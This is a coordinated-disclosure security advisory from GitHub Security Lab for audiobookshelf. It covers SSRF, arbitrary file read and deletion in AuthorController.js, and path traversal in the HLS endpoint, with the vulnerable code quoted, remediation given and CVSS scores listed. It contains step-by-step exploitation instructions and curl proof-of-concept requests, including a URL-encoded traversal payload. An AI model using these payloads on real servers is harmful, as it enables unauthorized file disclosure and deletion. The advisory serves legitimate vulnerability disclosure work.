Skip to content

GitHub Security Lab (GHSL) Vulnerability Report, audiobookshelf: `GHSL-2023-203`, `GHSL-2023-204`

Moderate
advplyr published GHSA-mgj7-rfx8-vhpr Oct 29, 2023

Package

audiobookshelf

Affected versions

<v2.4.4

Patched versions

2.5.0

Description

GitHub Security Lab (GHSL) Vulnerability Report, audiobookshelf: GHSL-2023-203, GHSL-2023-204

The GitHub Security Lab team has identified potential security vulnerabilities in audiobookshelf.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2023-203 or GHSL-2023-204 as a reference).

If you are NOT the correct point of contact for this report, please let us know!

Summary

Audiobookshelf is vulnerable to server-side request forgery (SSRF), arbitrary file read (AFR) and arbitrary file deletion (AFD) depending on the permissions of the user.

Project

audiobookshelf

Tested Version

v2.4.3

Details

Issue 1: SSRF and Arbitrary File Read in AuthorController.js (GHSL-2023-203)

Users with the update permission are able to read arbitrary files, delete arbitrary files and send a GET request to arbitrary URLs and read the response.

   const payload = req.body // <---- imagePath comes from req.body without sanitization
    if (payload.imagePath !== undefined && payload.imagePath !== req.author.imagePath) {
      if (!payload.imagePath && req.author.imagePath) {
        await CacheManager.purgeImageCache(req.author.id)
        await CoverManager.removeFile(req.author.imagePath) // <---- imagePath is passed to removeFile
      } else if (payload.imagePath.startsWith('http')) {
        const imageData = await AuthorFinder.saveAuthorImage(req.author.id, payload.imagePath) // <---- imagePath is used to make a GET request and its response is saved
        if (imageData) {
          if (req.author.imagePath) {
            await CacheManager.purgeImageCache(req.author.id)
          }
          payload.imagePath = imageData.path
          hasUpdated = true
        }
      } else if (payload.imagePath && payload.imagePath !== req.author.imagePath) {
        if (!await fs.pathExists(payload.imagePath)) {            // < ---- only check for existence of path, thus specifying any local file will result in file read
          Logger.error(`[AuthorController] Image path does not exist: "${payload.imagePath}"`)
          return res.status(400).send('Author image path does not exist')
        }

        if (req.author.imagePath) {
          await CacheManager.purgeImageCache(req.author.id)
        }
      }
    }

Impact

This issue may lead to Information Disclosure.

Remediation

Ensure that images for the Library authors are restricted to their own folder to mitigate arbitrary file read and deletion. In order to mitigate SSRF, prevent access to internal IP ranges and ensure the given file is an actual image, instead of allowing any arbitrary file.

Resources

SSRF

  1. In order to exploit SSRF, first send a request with the url of the file you wish to download. Curl is messy, so I would just go into the UI and click to edit the author's image and put in the desired url which will send a PATCH request to /api/authors/author-id.
  2. Download the file from api/authors/author-id/image with the following command:

curl -i -s -k -X $'GET' \ -H $'Host: localhost:3333' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2NmFjZTUxNy01NGJmLTRjYmUtYTBlZC05ZWZkMzZhNWI5NmMiLCJ1c2VybmFtZSI6InRlc3RlciIsImlhdCI6MTY5NTg0ODQ4Mn0.rvF1kTKXHMsjPYV_PtvMnCKNgvXxNrTDTiOIh8yz0hE' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'http://localhost:3333/api/authors/40913999-5739-4c84-bff0-93f9b34a08ef/image?token=JWT_TOKEN&raw=true'

Arbitrary File Deletion

  1. In order to exploit arbitrary file deletion, first send a request with the path to the file you wish to delete. Curl is messy, so I would just go into the UI and click to edit the author's image and put in the path to the file you wish to delete which will send a PATCH request to /api/authors/author-id.
  2. Then, go into the UI and click to edit the author's image and put in nothing which will send a PATCH request to /api/authors/author-id with an empty imagePath, deleting the file.

Issue 2: Arbitrary File Read in HlsRouter.js (GHSL-2023-204)

Any user (regardless of their permissions) may be able to read files from the local file system due to a path traversal in the /hls endpoint.

 var streamId = req.params.stream
 var fullFilePath = Path.join(this.playbackSessionManager.StreamsPath, streamId, req.params.file)
 var exists = await fs.pathExists(fullFilePath)
 res.sendFile(fullFilePath)

Impact

This issue may lead to Information Disclosure.

Remediation

Ensure the given file is within the correct directory by first joining the user input and the metadata directory and then comparing the two paths.

const path = require('path');
const relative = path.relative(metadata, user_input);
return relative && !relative.startsWith('..') && !path.isAbsolute(relative);

This code will return true if the user_input variable is a child of the metadata directory, otherwise it will return false.

Resources

Proof of Concept:

curl -i -s -k -X $'GET' \
    -H $'Host: localhost:3333' -H $'Accept: application/json, text/plain, */*' -H $'Authorization: Bearer JWT TOKEN' -H $'Content-Length: 2' \
    --data-binary $'\x0d\x0a' \
    $'http://localhost:3333/hls/whatever/..%2F..%2F..%2F..%2F..%2F..%2F(url encoded full path here)'

Note: The %2Fs are URL-encoded forward slashes (/) to prevent confusion with the express regex parser. After traversing back enough directories, we can input the URL-encoded full path of the file we wish to access.

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings). These issues were discovered with the help of CodeQL's SSRF and Path Injection queries.

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-203 or GHSL-2023-204 in any communication regarding these issues.

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

Severity

Moderate
6.5
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID

No known CVE

Credits